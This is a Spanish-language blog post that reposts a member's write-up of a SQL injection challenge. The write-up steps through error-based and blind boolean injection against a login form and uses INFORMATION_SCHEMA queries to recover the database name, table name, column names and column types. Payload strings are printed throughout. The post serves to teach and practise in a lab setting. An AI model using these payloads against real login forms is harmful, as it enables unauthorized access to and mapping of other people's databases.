#n3ur0n4 c0rp | silicon cell into your mind

TAG | sql-injection

Feb/10

24

MySQL_INFORMATION_SCHEMA By jde

Bueno después de no dejarles nada desde hace ya tiempo, les dejo este documento escrito por jde hace ya tiempo, la verdad le perdí el rastro a nuestro amigo jde, esto data de cuando aun n3ur0n4 pretendía ser un hack team allá en los canales de red-latina.

Sin mas tonterías que poner les dejo el documento…

======================================

Reto: Prueba de inyeccion SQL v3 by jde

—– —— — ——— — — — —

Hola muchachos/as aca estoy escribiendo un minituto del tercer reto que propuso emadicius sobre inyeccion sql, que despues de peliarlo un par de horas pudimos salir vencedores :P. El reto consistia en sacar la mayor cantidad informacion posible de la base de datos, es decir que base de datos era, el nombre de la DB, el nombre de la tabla, el nombre de sus campos y su tipos, jujuj bue vamos a ver que podemos hacer…. ;)

1) Aproximacion

Cargamos el reto en el navegador y vemos dos input que piden Usuario y Password, probamos metiendo unas inocentes comillitas por algun lado y si ponemos por ejemplo en Usuario:’p y en Password:’p , la base nos tira el siguiente error:

Error:

com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘u’ and pass=”p” at line 1

Por suerte pudimos robar un pedazo de la consulta :D. Ahora sabemos que la consulta es de la forma:

…’xxxxxx’ and pass=’yyyyyy’….

Donde las xxxxxx son el usuario ingresado y las yyyyyyy el password ingresado. Al saber esto ya podemos empezar a inyectar codigo SQL, y hacer esto de manera valida sin que se produscan errores de sintaxis. Bastaria con hacer que nuestros xxxxxxx e yyyyyyy sean por ejemplo de la forma:

xxxxxxx=’SSSSSSSSS and ”=’

yyyyyyy=’QQQQQQQQQ and ”=’

Donde SSSSS y QQQQ es codigo SQL. Ya que si remplazmos esto en lo que sabiamos quedaria algo como:

…’xxxxxx’ and pass=’yyyyyy’…. —-> …”SSSSSSSSS and ”=” and pass=”QQQQQQQQQ and ”=”….

Lo que no tiene errores de sintaxis, siempre y cuando sea coherente lo de SSSSS y lo de QQQQQQ.

Tambien ya sabes que se trata de una base de datos MySQL.

Es mas sabemos que es una MySQL >= 5.0.12 ya que al inyectar la funcion sleep() no nos tira error. Probemoslo con:

xxxxxxx=’ and sleep(10) and ”=’

y como password cualquier cosa…. vemos que no hay error :D.

2) Consiguiendo el nombre de la base de datos

Primero podemos probar si tenemos algo de suerte :P aunque no suelo tenerla :( a veces suele funcionar jejejeje, asi que probemos si existe una tabla con el nombre Usuarios, lo vamos a hacer con la subconsulta EXISTS de la siguiente forma: EXISTS(SELECT * FROM Usuarios). Es decir nuestro SSSSSS sera de igual a:

SSSSSSSS= and EXISTS(SELECT * FROM Usuarios) —-> xxxxxxx=’ and EXISTS(SELECT * FROM Usuarios) and ”=’

Como password no metemos nada y veamos que pasa….

Error:

com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Table ‘pruebahack.usuarios’ doesn’t exist

Error… =( no tuvimos suerte esta vez… ya que si la tabla hubiese existido no tendriamos error(suponiendo que tenia filas). Pero si miramos bien en realidad si tuvimos suerte porque el error nos esta diciendo que la tabla ‘pruebahack.usuarios’ no existe. Es decir ya conseguimos el nombre de la DB.

La base de datos se llama ‘pruebahack’.

3)Informacion interesante…

Navegando por dev.mysql.com llegue al Capitulo 22 del manual de referencia de MySQL 5.0, el cual trata sobre la base de datos de informacion INFORMATION_SCHEMA, la cual sabemos que existira ya que esta disponible en MySQL >= 5.0.2. Tambien podemos ver que esa base tiene una tabla que se llama TABLES :o y vemos tambien que tiene un cmapo TABLE_NAME :O!!! Entonces esta tablita la podriamos usar para tratar de averiguar el nombre de la tabla en cuestion….

Podriamos plantearnos hacer algo como:

SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=’pruebahack’ AND TABLE_NAME LIKE ‘%%’

Donde entre los %% tendriamos que ir poniendo algo inteligentemente de manera que podamos encontrar el nombre de alguna tabla, y luego ver si esa consulta devuelve algo mayor a 0…

Pero como podiramos hacer para saber que devuelve….recordando las bases de blind SQL Injection, pensamos si podriamos aplicar aca el mismo criterio…

Por suerte si podemos :D

por ejemplo, recordando los otros retos y metiendo como password yyyyyy=’ or 1=1 and ‘1′=’1

Tenemos que…..

OK!!

y si en cambio ponemos yyyyyy=’ or 1=0 and ‘1′=’1

tenemos….

Nada jajaja, recargamos la pagina no mas

Perfecto ya que eso es lo que necesitamos, es decir si la expresion que esta entre el or y el and es true, tenemos un OK, y si es false recargamos la pagina… :)


4)A la carga….

Con lo pensado en el punto anterior, y esperando tener un poco mas de surte ahora nos fijamos si existe una tabla que contenga la palabra Usuarios :P

yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=’pruebahack’ AND TABLE_NAME LIKE ‘%Usuarios%’)>0 and ”=’

….Ok!!!! seeeee un poco de suerte al fin!!!

ahora probamos sacando un % a la vez y vemos que la tabla se llama %Usuarios

Ahora fue no me quedo mas que probar :P y por suerte luego de un par de intentos llegue a que la tabla se llamaba…. Tb_Usuarios

5)Ahora los parametros….

Usando inyecciones como la anterior podemos saber la cantidad de las columnas:

yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=’Tb_Usuarios’)=3 and ”=’

Por el punto uno sabemos que una columna se llama pass, lo que podemos verificar inyectando:

yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=’Tb_Usuarios’ and column_name=’pass’)=1 and ”=’

Que tal si probamos si existe una user??

yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=’Tb_Usuarios’ and column_name=’user’)=1 and ”=’

jejeje estamos de suerte!! ;D

Recapitulemos, sabemos que tiene 3 columnas y ya conocemos 2… a esta tabla le podria faltar un Id ;)….probemos….

yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=’Tb_Usuarios’ and column_name=’Id’)=1 and ”=’

Perfecto!!!

Ya tenemos la cantidad de columnas y los nombres, solo nos quedan sus tipos….

Lo cual lo hacemos de la misma forma jajajaj :D

Por ejemplo sospechamos que el campo pass y el user deven ser algo de CHAR, entonces probemos….

yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=’pruebahack’ and column_name=’user’ and data_type LIKE ‘%CHAR%’)>0 and ”=’


yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=’pruebahack’ and column_name=’pass’ and data_type LIKE ‘%CHAR%’)>0 and ”=’

Y despues de ahi cambiando %CHAR% por VARCHAR nos damos cuenta que son VARCHAR :D…. pero de cuanto….

yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=’pruebahack’ and column_name=’pass’ and CHARACTER_MAXIMUM_LENGTH LIKE ‘10′)>0 and ”=’

Y jugando con ese 10 y lo mismo con el campo user obtenemos que pass es VARCHAR(100) y user VARCHAR(50).

Solo queda el tipo del campo Id,lo cual sospechamos que es int y lo comprobamos asi ;)

yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=’pruebahack’ and column_name=’Id’ and data_type LIKE ‘INT’)>0 and ”=’

Y listo!!!! Ya conseguimos toda la info, es un motor MySQL >= 5.0.12, la DB se llama ‘pruebahack’, y los campos son Id (INT), user (VARCHAR(50)) y pass (VARCHAR(100)).

6)Despedida…

Bueno este fue mi primer tuto, y espero que le sirva a alguno :P y avisenme de los errores que debe tener jajaja.

A su vez aprovecho este lugar para agradecerle a todo el grupo ya que me dejaron entrar y espero poder aprender mucho y compartir el conocimiento con ustedes, de manera que eoupo sea mejor en todos sus aspectos.

Saludos, jde.

, , , ,

Oct/09

21

SQL-Inyection By PerverthsO

video hecho por PerverthsO un gran competidor en esto de los wargames y que nos ha dejado publicar algo de su material sobre sql-inyection.

, , ,

n3ur0n4

#n3ur0n4 Corporation
Live Free & Die Free